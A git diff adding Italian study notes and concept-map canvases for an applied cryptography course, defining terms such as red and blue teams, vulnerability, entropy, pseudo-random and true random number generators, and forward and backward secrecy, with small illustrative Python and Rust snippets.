diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra blu.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra blu.md
new file mode 100644
index 0000000..5de4910
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra blu.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["sfidanti", "squadra difensore", "difensori"]
+---
+
+[[squadra|Squadra]] che vuole dimostrare la ***presenza*** della relativa [[garanzia]].
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra rossa.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra rossa.md
new file mode 100644
index 0000000..c260455
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra rossa.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["avversari", "squadra attaccante", "attaccanti"]
+---
+
+[[squadra|Squadra]] che vuole dimostrare l'***assenza*** della relativa [[garanzia]].
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra.md
new file mode 100644
index 0000000..01c501b
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra.md	
@@ -0,0 +1 @@
+Insieme di [[agente|agenti]] dagli obiettivi comuni.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/tempo.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/tempo.md
new file mode 100644
index 0000000..2fe671a
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/tempo.md	
@@ -0,0 +1 @@
+[[risorsa]] che quantifica la potenza di elaborazione disponibile.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/utilizzo.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/utilizzo.md
new file mode 100644
index 0000000..9e69e78
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/utilizzo.md	
@@ -0,0 +1,3 @@
+[[procedura|Procedura]] generica che uno [[sfidante]] deve applicare per usufruire di una [[garanzia]].
+
+Corrisponde a fare uso nella pratica del [[protocollo]] proposto per trarne i benefici offerti.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/violazione.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/violazione.md
new file mode 100644
index 0000000..d6e72e8
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/violazione.md	
@@ -0,0 +1,3 @@
+[[vincolo]] è stato infranto, concedendo privilegi a chi l'ha effettuata.
+
+Solitamente, le garanzie hanno un codice di tre lettere, nel formato `XYZ`.
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità.md b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità.md
new file mode 100644
index 0000000..926cd9d
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["vulnerability"]
+---
+
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di una [[funzione]] che si trova in un [[contesto]] in cui può essere attivamente [[attacco|attaccata]].
diff --git a/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/★ mappa concettuale.canvas b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/★ mappa concettuale.canvas
new file mode 100644
index 0000000..c3dc5db
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/★ mappa concettuale.canvas	
@@ -0,0 +1,69 @@
+{
+	"nodes":[
+		{"type":"group","id":"2b5d6226e3a36d1b","x":-1160,"y":600,"width":1040,"height":1600,"color":"5","label":"Difesa"},
+		{"type":"group","id":"21486b0d0685f827","x":520,"y":600,"width":1040,"height":1600,"color":"1","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia perfetta.md","id":"1928474bd5284ee6","x":-1120,"y":80,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/tempo.md","id":"8d765efa237d2071","x":-1000,"y":-1600,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/spazio.md","id":"d97ce088f2dff065","x":-440,"y":-1600,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/risorsa.md","id":"abe18f71c2fb20ec","x":-720,"y":-1040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/costo.md","id":"85d47a08b490853f","x":-720,"y":-480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/livello di sicurezza.md","id":"249539e73ace444b","x":-160,"y":-920,"width":720,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/utilizzo.md","id":"fd225babb05fc2c9","x":-1120,"y":640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/sfidante.md","id":"ba5a45195a549dd6","x":-1120,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/garanzia computazionale.md","id":"430e0f06a83efca6","x":-560,"y":80,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra blu.md","id":"fc1078a649a42886","x":-560,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittografia.md","id":"a99dc55d96e1b848","x":-560,"y":1760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/garanzia.md","id":"30ffc8f28260f9f3","x":-560,"y":640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/esperimento.md","id":"1c2f152189169ca6","x":0,"y":640,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra.md","id":"481739d7cd417a4d","x":0,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittologia.md","id":"448ed545454292bb","x":0,"y":1760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/sicurezza.md","id":"5fa9bf88cee5ea0a","x":0,"y":2320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/agente.md","id":"892846fcf80d6915","x":-1680,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md","id":"b0156aee0ccb2476","x":-1680,"y":640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/squadra rossa.md","id":"cab1a1de888bac73","x":560,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/avversario.md","id":"583e7e113fd5cb0f","x":1120,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/crittoanalisi.md","id":"4d22ce9b08e5e361","x":560,"y":1760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/attacco.md","id":"01d3db45263796ec","x":1120,"y":640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/violazione.md","id":"977589bb26dd501e","x":560,"y":640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità.md","id":"1b6f49b72a6593a9","x":1120,"y":80,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza.md","id":"ebc3d4a0f2505cda","x":1120,"y":-480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/agente.md","id":"2353a908d293e1ab","x":1680,"y":1200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/1 - Trovare soluzioni crittografiche/procedura.md","id":"9e366e52c874ffe4","x":1680,"y":640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/mitigazione.md","id":"33856eb5c12f4f2b","x":560,"y":80,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"d5c4626bff89c01a","fromNode":"fc1078a649a42886","fromSide":"left","toNode":"ba5a45195a549dd6","toSide":"right","toEnd":"none"},
+		{"id":"4cd3accbe89f4167","fromNode":"cab1a1de888bac73","fromSide":"right","toNode":"583e7e113fd5cb0f","toSide":"left","toEnd":"none"},
+		{"id":"b0c6a8b75fd24970","fromNode":"cab1a1de888bac73","fromSide":"left","toNode":"481739d7cd417a4d","toSide":"right","toEnd":"none"},
+		{"id":"1bec25577722e9a7","fromNode":"fc1078a649a42886","fromSide":"right","toNode":"481739d7cd417a4d","toSide":"left","toEnd":"none"},
+		{"id":"3615547e27a1918a","fromNode":"448ed545454292bb","fromSide":"right","toNode":"4d22ce9b08e5e361","toSide":"left","toEnd":"none"},
+		{"id":"fb7c0d38020bb936","fromNode":"448ed545454292bb","fromSide":"left","toNode":"a99dc55d96e1b848","toSide":"right","toEnd":"none"},
+		{"id":"19908d368b6eca89","fromNode":"a99dc55d96e1b848","fromSide":"top","toNode":"fc1078a649a42886","toSide":"bottom","toEnd":"none"},
+		{"id":"ef728739f6a38ccf","fromNode":"4d22ce9b08e5e361","fromSide":"top","toNode":"cab1a1de888bac73","toSide":"bottom","toEnd":"none"},
+		{"id":"36e6215749619e70","fromNode":"5fa9bf88cee5ea0a","fromSide":"top","toNode":"448ed545454292bb","toSide":"bottom","toEnd":"none"},
+		{"id":"02fa41224792e1dd","fromNode":"583e7e113fd5cb0f","fromSide":"top","toNode":"01d3db45263796ec","toSide":"bottom","toEnd":"none"},
+		{"id":"1ce3abe6b273cf78","fromNode":"30ffc8f28260f9f3","fromSide":"top","toNode":"430e0f06a83efca6","toSide":"bottom","toEnd":"none"},
+		{"id":"f574d70c759d26c6","fromNode":"430e0f06a83efca6","fromSide":"top","toNode":"85d47a08b490853f","toSide":"bottom","toEnd":"none"},
+		{"id":"34f7ab3c6f342430","fromNode":"85d47a08b490853f","fromSide":"top","toNode":"abe18f71c2fb20ec","toSide":"bottom","toEnd":"none"},
+		{"id":"9700c0138b6cef04","fromNode":"ba5a45195a549dd6","fromSide":"top","toNode":"fd225babb05fc2c9","toSide":"bottom","toEnd":"none"},
+		{"id":"952738a5d4d7dfca","fromNode":"30ffc8f28260f9f3","fromSide":"top","toNode":"1928474bd5284ee6","toSide":"bottom","toEnd":"none"},
+		{"id":"fdab23ebdd42d83f","fromNode":"abe18f71c2fb20ec","fromSide":"top","toNode":"8d765efa237d2071","toSide":"bottom","toEnd":"none"},
+		{"id":"805842e9e1424aba","fromNode":"abe18f71c2fb20ec","fromSide":"top","toNode":"d97ce088f2dff065","toSide":"bottom","toEnd":"none"},
+		{"id":"7f1154dcb597c14c","fromNode":"1c2f152189169ca6","fromSide":"bottom","toNode":"fc1078a649a42886","toSide":"top","toEnd":"none"},
+		{"id":"3ba16ec90812680f","fromNode":"1c2f152189169ca6","fromSide":"bottom","toNode":"cab1a1de888bac73","toSide":"top","toEnd":"none"},
+		{"id":"66d3923091986a54","fromNode":"85d47a08b490853f","fromSide":"right","toNode":"249539e73ace444b","toSide":"left","toEnd":"none"},
+		{"id":"b56e620701dfe024","fromNode":"1c2f152189169ca6","fromSide":"left","toNode":"30ffc8f28260f9f3","toSide":"right","toEnd":"none"},
+		{"id":"1985593a2403eb2a","fromNode":"30ffc8f28260f9f3","fromSide":"left","toNode":"fd225babb05fc2c9","toSide":"right","toEnd":"none"},
+		{"id":"5d141f0e8bcdbf92","fromNode":"1c2f152189169ca6","fromSide":"right","toNode":"977589bb26dd501e","toSide":"left","toEnd":"none"},
+		{"id":"b87bafbff6321a4b","fromNode":"977589bb26dd501e","fromSide":"right","toNode":"01d3db45263796ec","toSide":"left","toEnd":"none"},
+		{"id":"d93c7f1ffb5c9ac2","fromNode":"01d3db45263796ec","fromSide":"top","toNode":"1b6f49b72a6593a9","toSide":"bottom","toEnd":"none"},
+		{"id":"2e861614fd3d6929","fromNode":"33856eb5c12f4f2b","fromSide":"right","toNode":"1b6f49b72a6593a9","toSide":"left","toEnd":"none"},
+		{"id":"8c763c35634a4cfd","fromNode":"1b6f49b72a6593a9","fromSide":"top","toNode":"ebc3d4a0f2505cda","toSide":"bottom","toEnd":"none"},
+		{"id":"0aa2e9f8ad3468b8","fromNode":"33856eb5c12f4f2b","fromSide":"top","toNode":"249539e73ace444b","toSide":"right","toEnd":"none"},
+		{"id":"e513b1922d032712","fromNode":"249539e73ace444b","fromSide":"bottom","toNode":"430e0f06a83efca6","toSide":"top","toEnd":"none"},
+		{"id":"959d7a79d020c6c4","fromNode":"892846fcf80d6915","fromSide":"right","toNode":"ba5a45195a549dd6","toSide":"left","toEnd":"none"},
+		{"id":"845ac4929f3d25a8","fromNode":"2353a908d293e1ab","fromSide":"left","toNode":"583e7e113fd5cb0f","toSide":"right","toEnd":"none"},
+		{"id":"11a1cbaeff7382ad","fromNode":"b0156aee0ccb2476","fromSide":"right","toNode":"fd225babb05fc2c9","toSide":"left","toEnd":"none"},
+		{"id":"a74eb73df4e86630","fromNode":"01d3db45263796ec","fromSide":"right","toNode":"9e366e52c874ffe4","toSide":"left","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/backward secrecy.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/backward secrecy.md
new file mode 100644
index 0000000..bdaa56c
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/backward secrecy.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["post-compromise security"]
+---
+
+[[garanzia]] che un [[avversario]] che [[compromissione|compromette]] un sistema in un determinato momento non mette a rischio le informazioni processate **in futuro** da esso.
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/casualità crittografica.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/casualità crittografica.md
new file mode 100644
index 0000000..ce9402d
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/casualità crittografica.md	
@@ -0,0 +1,30 @@
+---
+aliases:
+  - casuale
+---
+
+[[vincolo|Vincolo]] che richiede che i [[risultato|risultati]] di un [[generatore]] siano sia [[distribuzione uniforme|distribuiti uniformemente]] sia [[imprevedibilità|imprevedibili]] per tutte le parti coinvolte.
+
+## Esempio
+
+Questo generatore Python ha un output **statisticamente casuale**, ma non **crittograficamente casuale**, perchè è possibile determinare i numeri successivi che esso emetterà:
+```python
+def random():
+	"[0, 1, 0, 1, 0, 1, 0, 1, 0, 1, ...]"
+	while True:
+		yield 0
+		yield 1
+```
+
+Questo generatore Python ha un output **statisticamente casuale** e **crittograficamente casuale**, perchè non è possibile determinare i numeri successivi che esso emetterà:
+```python
+def random():
+	"[0, 1, 0, 1, 1, 1, 0, 1, 1, 0, ...]"
+	while True:
+		result = flip_a_coin_in_real_life()
+		yield result
+```
+
+## Livello di sicurezza
+
+Il [[livello di sicurezza]] rispetto alla casualità crittografica corrisponde all'[[entropia]] dei valori stessi.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-random.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-random.md
new file mode 100644
index 0000000..ef52697
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-random.md	
@@ -0,0 +1,7 @@
+# `/dev/random`
+
+[[File]] [[dispositivo Linux|dispositivo]] [[generatore]].
+
+- in lettura, genera ***quando possibile*** bytes dal [[pseudo-random number generator]]del kernel.
+
+- in scrittura, con i dovuti permessi, alimenta l'[[entropy pool]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-urandom.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-urandom.md
new file mode 100644
index 0000000..1207334
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/dev-urandom.md	
@@ -0,0 +1,7 @@
+# `/dev/urandom`
+
+[[File]] [[dispositivo Linux|dispositivo]] [[generatore]] simile a [[dev-random]].
+
+- in lettura, genera ***immediatamente*** bytes dal [[pseudo-random number generator]] del kernel.
+
+- in scrittura, con i dovuti permessi, alimenta l'[[entropy pool]].
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/distribuzione uniforme.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/distribuzione uniforme.md
new file mode 100644
index 0000000..d10571d
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/distribuzione uniforme.md	
@@ -0,0 +1 @@
+Caratteristica di una [[funzione]] i cui possibili [[risultato|risultati]] hanno tutti la stessa [[probabilità]] di essere emessi.
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropia.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropia.md
new file mode 100644
index 0000000..0420608
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropia.md	
@@ -0,0 +1,43 @@
+[[Quantificazione]] della [[casualità crittografica]] presente all'interno di un'[[informazione]] relativamente ad un sistema.
+
+## Definizione
+
+Un [[insieme]] ha *entropia* uguale alla sua [[cardinalità]].
+$$
+entropy = log_2 ( possible )
+$$
+Il [[risultato]] di una [[funzione]] ha *entropia* uguale al minimo di entropia tra il suo dominio e il suo codominio.
+$$ 
+entropy(f : \mathrm{D} \rightarrow \mathrm{C}) = 
+\min
+\left( 
+	entropy(\mathrm{D}),
+	entropy(\mathrm{C}) 
+\right)
+$$
+
+## Esempi
+
+Una funzione che consuma 1 bit ed emette 128 bytes in base ha **1 bit** di *entropia*, perchè i valori possibili che può emettere sono $2$, e quindi $log_2(2) = 1$.
+
+```rust
+fn func(data: bool) -> [u8; 128] {
+	match data {
+		true => [1; 128],
+		false => [0; 128],
+	}
+}
+```
+
+Una funzione che consuma 128 bytes ed emette 1 bit ha **1 bit** di entropia, perchè i valori possibili che può emettere sono $2$, e quindi $log_2(2) = 1$.
+
+```rust
+fn func(data: [u8; 128]) -> bool {
+	data.iter().all(|v| *v != 0)
+}
+```
+
+
+## #Extra Relazioni con altri concetti
+
+È l'inverso del [[fattore di compressione]] di un'[[informazione]]: più entropia essa ha, meno è possibile comprimerla.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropy pool.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropy pool.md
new file mode 100644
index 0000000..79097f8
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/entropy pool.md	
@@ -0,0 +1 @@
+[[Buffer]] in cui vengono immagazinati temporaneamente dati di uno o più [[true random number generator]] in attesa che essi vengano letti da un [[pseudo-random number generator]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/flusso.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/flusso.md
new file mode 100644
index 0000000..4d698b7
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/flusso.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["stream"]
+---
+
+Serie (non per forza finita) di [[risultato|risultati]] emessi da un [[generatore]].
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/forward secrecy.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/forward secrecy.md
new file mode 100644
index 0000000..22502f0
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/forward secrecy.md	
@@ -0,0 +1 @@
+[[garanzia]] che un [[avversario]] che [[compromissione|compromette]] un sistema in un determinato momento non mette a rischio le informazioni processate **in passato** da esso.
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/generatore.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/generatore.md
new file mode 100644
index 0000000..7438cd3
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/generatore.md	
@@ -0,0 +1 @@
+[[Funzione]] la cui esecuzione non termina al primo [[risultato]] restituito, ma che continua ad emetterne altri, dando origine ad un [[flusso]] di [[risultato|risultati]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/hardware random number generator.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/hardware random number generator.md
new file mode 100644
index 0000000..6a4c8d0
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/hardware random number generator.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["HRNG"]
+---
+
+Implementazione fisica di un [[true random number generator]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/imprevedibilità.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/imprevedibilità.md
new file mode 100644
index 0000000..cf9140e
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/imprevedibilità.md	
@@ -0,0 +1 @@
+[[Vincolo]] [[soggettività|soggettivo]] per cui il [[soggetto]] non deve essere in grado di determinare anticipatamente l'output di una [[funzione]].
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/mixing.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/mixing.md
new file mode 100644
index 0000000..d1bd33a
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/mixing.md	
@@ -0,0 +1,3 @@
+[[Procedura]] attraverso la quale i dati emessi da più [[true random number generator]] vengono mescolati al fine di aumentare il [[livello di sicurezza]] contro compromissione delle loro fonti.
+
+> Se una fonte di entropia è compromessa, fintanto che altre non lo sono, la [[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/vulnerabilità]] è [[mitigazione|mitigata]].
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/pseudo-random number generator.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/pseudo-random number generator.md
new file mode 100644
index 0000000..7852a71
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/pseudo-random number generator.md	
@@ -0,0 +1,11 @@
+---
+aliases: ["PRNG"]
+---
+
+[[funzione ideale]] [[generatore]] che:
+- consuma un [[flusso]] di valori [[casualità crittografica|casuali]]
+- emette un [[flusso]] di valori [[casualità crittografica|casuali]] molto più lungo
+- garantisce [[forward secrecy]]
+- garantisce [[backward secrecy]]
+
+Solitamente, il [[flusso]] in input proviene da un [[entropy pool]], tipicamente gestito dal [[kernel del sistema operativo]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random clone.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random clone.md
new file mode 100644
index 0000000..40f435f
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random clone.md	
@@ -0,0 +1,7 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] crittografica di alcuni [[hypervisor]] che usano un [[pseudo-random number generator]] e poi effettuano un [[clone]] della macchina in esecuzione.
+
+Le macchine clonate avranno lo stesso [[stato di un pseudo-random number generator|stato]], emettendo quindi valori duplicati e infrangendo la [[casualità crittografica]].
+
+## Prevenzione
+
+Si può prevenire effettuando un [[update dello stato di un pseudo-random number generator|update]] al momento del resume della macchina.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random fork.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random fork.md
new file mode 100644
index 0000000..973647e
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/random fork.md	
@@ -0,0 +1,7 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] crittografica di alcuni [[software]] che usano un [[pseudo-random number generator]] e poi effettuano un [[fork]].
+
+Riguarda lo [[stato di un pseudo-random number generator|stato]]: se entrambi i processi fanno uso dello stesso stato, duplicato dal [[fork]], emetteranno valori duplicati, infrangendo la [[casualità crittografica]].
+
+## Prevenzione
+
+Si può prevenire effettuando un [[update dello stato di un pseudo-random number generator|update]] al momento del fork.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/sorgente di rumore.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/sorgente di rumore.md
new file mode 100644
index 0000000..98e3266
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/sorgente di rumore.md	
@@ -0,0 +1,2 @@
+Implementazione fisica di un [[true random number generator]].
+
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/stato di un pseudo-random number generator.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/stato di un pseudo-random number generator.md
new file mode 100644
index 0000000..0fd5649
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/stato di un pseudo-random number generator.md	
@@ -0,0 +1,5 @@
+[[parametro]] e [[risultato]] di un [[pseudo-random number generator]] necessario a calcolare il valore successivo da emettere.
+
+Viene passato in input al generatore, modificato, e poi rimesso in output.
+
+Può essere modificato esternamente con una funzione chiamata [[update dello stato di un pseudo-random number generator|update]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/true random number generator.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/true random number generator.md
new file mode 100644
index 0000000..123e878
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/true random number generator.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["TRNG", "sorgente di entropia", "sorgente di rumore"]
+---
+
+[[Funzione ideale]] che:
+
+- non ha input
+- emette un flusso di valori ad [[entropia]] massima
+
+## Esempi
+
+16 bit generati da un *true random number generator* hanno per definizione 16 bit di entropia.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/update dello stato di un pseudo-random number generator.md b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/update dello stato di un pseudo-random number generator.md
new file mode 100644
index 0000000..c88876b
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/update dello stato di un pseudo-random number generator.md	
@@ -0,0 +1 @@
+[[funzione]] esterna che modifica lo [[stato di un pseudo-random number generator]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/★ mappa concettuale.canvas b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/★ mappa concettuale.canvas
new file mode 100644
index 0000000..eae3390
--- /dev/null
+++ b/8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/★ mappa concettuale.canvas	
@@ -0,0 +1,48 @@
+{
+	"nodes":[
+		{"type":"group","id":"f2d46001563aeab0","x":20,"y":-1340,"width":920,"height":440,"color":"6","label":"Su Linux"},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/casualità crittografica.md","id":"a80d1faf929770b4","x":-1360,"y":-760,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/true random number generator.md","id":"e8d41447270e18bf","x":1440,"y":-3000,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/1 - Concetti/3 - Casualità ed entropia/imprevedibilità.md","id":"a38aaa763aa3ec73","x":-1920,"y":-760,"width":400,"height":400},
